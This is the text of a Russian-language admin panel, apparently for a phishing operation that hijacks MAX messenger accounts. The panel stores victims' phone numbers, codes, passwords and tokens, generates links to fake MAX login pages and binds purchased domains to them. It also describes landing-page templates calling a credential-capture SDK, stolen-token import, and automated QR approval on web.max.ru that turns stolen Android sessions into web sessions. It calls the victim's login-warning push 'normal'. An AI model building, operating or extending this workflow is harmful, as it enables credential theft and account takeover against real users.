Admin
v1.0

Вход

Доступ к административной панели.

AssistDesk terminal v1.0
Workspace
live --:--:--
A admin

Кейсы

Все успешные авторизации пользователей: телефон, код, пароль и токен.

Всего 0
Сегодня 0
С паролем 0
Без пароля 0
0 записей

Ссылки

Сгенерируйте уникальную ссылку для клиента. Каждая ссылка ведёт на тот же экран авторизации MAX.

0 ссылок

Домены

Привяжите купленные домены к панели. Один из них помечен «основным» — под ним по умолчанию генерируются ссылки.

Как привязать домен (Cloudflare / другой регистратор)
  1. Купите домен на Cloudflare (или Namecheap, REG.RU и т.д.).
  2. В разделе DNS добавьте запись типа A: name=@ → IP вашего VPS. Дополнительно запись A: name=www → тот же IP.
  3. На Cloudflare включите «Proxied» (оранжевое облако), на других регистраторах оставьте обычный DNS.
  4. На сервере убедитесь, что nginx/обратный прокси слушает этот домен и отдаёт запросы в эту панель.
  5. Подождите 1-5 минут, нажмите «Проверить» — статус должен стать зелёным.
  6. Сделайте домен основным, чтобы все новые ссылки шли через него.
0 доменов

Шаблоны

Загружайте ZIP-архивы с дизайнами клиентских лендингов. Все шаблоны используют один и тот же auth-flow MAX, отличается только верстка.

Что должно быть в ZIP-архиве
  1. В корне (или в одной верхней папке): обязательно index.html + любые ассеты — CSS, JS, шрифты, картинки.
  2. В index.html подключайте общий SDK: <script src="/auth-sdk.js"></script>.
  3. Вызывайте методы: maxAuth.startSession(), maxAuth.sendPhone(phone), maxAuth.sendCode(code), maxAuth.sendPassword(pwd), maxAuth.resend().
  4. Все ссылки на ассеты — относительные (style.css, files/main.js, img/logo.svg). Сервер отдаст их по тому же слагу.
  5. Запрещены: пути с .., абсолютные пути, симлинки. Лимит ZIP — 20 МБ, распакованного — 60 МБ.
0 шаблонов

Админы

Управление учётными записями операторов: создание, смена пароля, удаление.

Управлять учётками может только супер-админ root (id 1). Вы можете сменить только свой пароль.
Права вручную по умолчанию: как в роли

0 админов

Архив

Удалённые кейсы, сгруппированные по дате удаления. Можно проверить токены, восстановить или удалить навсегда.

0 дней
0 кейсов

Android-сессии

Импортированные JSON-сессии MAX Android. По кнопкам можно установить пароль, сменить его авто-ротацией и выдать веб-токен через авто-веб.

0 сессий

Импорт токенов

Вставьте готовые токены, чтобы добавить их в панель. Формат строки: token,deviceId,phone (phone не обязателен). Можно загрузить .txt.

0 строк

Android-сессии (JSON)

Загрузите файлы вида 79091499785.json — номер берётся из имени файла. Сессии попадут на вкладку Android, а не в Кейсы.

Или добавить одну сессию вручную

Если под рукой нет JSON-файла — вставьте токен, device_id и номер. Сессия попадёт на вкладку Android как обычно.

Конвертировать Android → Web

Вставьте Android token и device_id. Панель прогонит их через тот же auto-web (Playwright + QR-handshake на web.max.ru), что и на вкладке Android, и вернёт готовый JS-снипет для вставки в консоль web.max.ru. В базу ничего не записывается.

Готовый веб-снипет 

						

					


					
					

						

							

								
Системный журнал

								

									Действия пользователей на лендингах: переходы, ввод номера,
									отправка кода, отказы.
								

							

						


						

							

								
								
							

							

								
							

						


						

							

								
									
									0 событий
								
							

							

						

					

				

			

		


		
		

			

			

				

				
Авто-веб

				

					Запускаю headless-браузер на сервере, открываю web.max.ru, ловлю QR из
					WS-трафика, одобряю его сохранённой Android-сессией кейса и забираю
					готовые web-токены. Это занимает 5–15 секунд.
				


				

					

						
						Запускаем Chromium…
					

					

						
						Открываем web.max.ru
					

					

						
						Ждём QR в WS-трафике
					

					

						
						Одобряем через Android-сессию
					

					

						
						Забираем web-токены
					

				


				


				


				

					
					
				

			

		


		
		

			

			

				

					
				

				
Веб-вход через QR

				

					Откройте web.max.ru → нажмите
					Войти через QR. На странице появится QR-код.
					Скопируйте его ссылку и вставьте сюда — мы одобрим вход с уже
					сохранённой Android-сессии этого кейса. Юзер получит пуш «Кто-то
					пытается войти в ваш профиль MAX» — это нормально.
				

				

					Как достать ссылку из QR на web.max.ru
					
    
						
  1. 
							На странице с QR откройте DevTools (F12) → вкладка
							Console.
						
    2. 
						
  2. 
							Вставьте:
							document.body.innerHTML.match(/max\.ru\/:auth\/[a-f0-9-]+/)?.[0]
						
    3. 
						
  3. 
							Скопируйте результат, добавьте префикс https:// и
							вставьте сюда.
						
    4. 
					

					

						Альтернатива — установить QR-decoder расширение и считать QR прямо
						со страницы.
					

				

				
				

				

					
					
				

			

		


		
		

			

			

				

					
				

				
Сменить пароль

				

					Введите новый пароль для пользователя.
				

				
				

					
					
				

			

		


		
		

			

			

				

					
				

				
Права доступа

				

					Отметьте, к каким вкладкам у пользователя будет доступ.
				

				

				

					
					

					
					
				

			

		


		
		

			

			

				

					
				

				
Изменить роль

				

					Выберите новую роль для пользователя.
				

				

				

					
					
				

			

		


		
		


		
		

			

			

				

					
				

				
Подтвердите действие

				

					Это действие нельзя отменить.
				

				

					
					
				

			

		


		
		

			

			

				

					
				

				
Настройка полей

				

					Назначьте роль каждому найденному элементу шаблона.
				


				

					

						

							 Элементы
						

						

					

					

						

							 Экраны (шаги)